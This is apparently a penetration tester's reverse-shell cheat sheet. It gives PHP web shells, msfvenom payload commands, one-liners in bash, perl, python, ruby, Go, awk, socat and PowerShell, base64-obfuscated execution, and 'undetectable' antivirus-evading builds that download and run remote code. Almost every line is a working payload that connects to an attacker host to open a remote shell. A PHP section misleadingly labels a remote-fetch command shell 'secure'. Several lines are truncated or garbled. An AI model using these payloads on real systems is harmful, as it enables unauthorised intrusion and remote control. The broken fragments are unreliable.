Reversing shell

#with PHP

- ---

<?php system($_GET["cmd"]); ?>

<?php echo shell_exec($_GET["cmd"]); ?>

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <victim_ip> 3333 >/tmp/f');?>

<?php
exec(base64_decode('cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTxhdHRhY2tl
?>

##Secure, simple PHP shell to load and execute code;

if (isset($_REQUEST['fupload'])) {

file_put_contents($_REQUEST['fupload'], file_get_contents("http://<attacker_ip>:8000/" . $_REQUEST['fupload']));

};

if (isset($_REQUEST['fexec'])) {

echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";

};

##Start the listener on the attacker machine;

nc -lvp 1234

##Call the script and get the shell;

http://10.10.10.9/catch.php?fexec=nc.exe <attacker_ip> 1234 -e cmd.exe```

- ---

#with Msfvenom

##Listing payloads (spesific);

msfvenom -l payloads | grep "cmd/unix" | awk '{print $1}'

.exe;

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=1337 -f exe > asd.exe

.aspx

msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f aspx > asd.aspx

.jsp

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_ip> LPORT=3333 -f raw > asd.jsp

.war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_ip> LPORT=3333 -f war > shell.war

- ---

#with Kali

/usr/share/laudanum/

- ---

#with online reverse shell

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

- ---

#Upgrading simple shells to fully interactive TTYs

##With bash;

/bin/bash -i

##With sh;

/bin/sh -i

##With echo;

echo 'os.system('/bin/bash')'

##With python;

python -c 'import pty; pty.spawn("/bin/bash")'

python -c 'import pty; pty.spawn("/bin/sh")'

##With mawk;

mawk 'BEGIN {system("/bin/sh")}'

##With perl;

perl —e 'exec "/bin/sh";'

##Completing long file paths;

CTRL +Z

stty raw -echo

fg + [Enter x 2]

- ---

Gerar shell

curl https://reverse-shell.sh/10.10.15.50:9999 >> shell

- ---

Tools

https://github.com/ShutdownRepo/shelleratorhttps://github.com/0x00-0x00/ShellPophttps://github.com/cybervaca/ShellReversehttps://liftoff.github.io/pyminifier/https://github.com/xct/xc/https://weibell.githu

shell-generator/https://github.com/phra/PEzor

Linux

Bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f
nc -e /bin/sh 10.11.1.111 4443
bash -i >& /dev/tcp/IP ADDRESS/8080 0>&1

#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.8.22.92/7777 0>&1"

Bash B64 Ofuscated

{echo,COMMAND_BASE64}|{base64,-d}|bash
echo${IFS}COMMAND_BASE64|base64${IFS}-d|bash
bash -c {echo,COMMAND_BASE64}|{base64,-d}|{bash,-i}
echo COMMAND_BASE64 | base64 -d | bash

Perl

perl -e 'use Socket;$i="IP ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c '**import**('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4433 >/tmp/f')-1\'

Python IPv6

python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("IP ADDRESS",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP:

/usr/share/webshells/php/php-reverse-shell.php

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

php -r '$sock=fsockopen("IP ADDRESS",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
$sock, 1=>$sock, 2=>$sock), $pipes);?>

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP ADDRESS:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

AWK

awk 'BEGIN {s = "/inet/tcp/0/IP ADDRESS/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.mdhttps://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

Socat

socat TCP4:10.10.10.10:443 EXEC:/bin/bash

Socat listener

socat -d -d TCP4-LISTEN:443 STDOUT

Windows

Netcat

nc -e cmd.exe 10.11.1.111 4443

Powershell

$callback = New-Object System.Net.Sockets.TCPClient("IP ADDRESS",53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.11',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Undetectable:

https://0xdarkvortex.dev/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Undetectable 2:

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

64bit:

powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4 '.\REV.txt') }" && powershell -command "& { (New-Object

Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e
'.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:

powershell -command "& { (New-Object
Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4
'.\REV.txt') }" && powershell -command "& { (New-Object
Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e
'.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

Tips

rlwrap

https://linux.die.net/man/1/rlwrap

Connect to a netcat client:

rlwrap nc [IP Address] [port]

Connect to a netcat Listener:

rlwrap nc -lvp [Localport]

Linux Backdoor Shells:

rlwrap nc [Your IP Address] -e /bin/sh
rlwrap nc [Your IP Address] -e /bin/bash
rlwrap nc [Your IP Address] -e /bin/zsh
rlwrap nc [Your IP Address] -e /bin/ash

Windows Backdoor Shell:

rlwrap nc -lv [localport] -e cmd.exe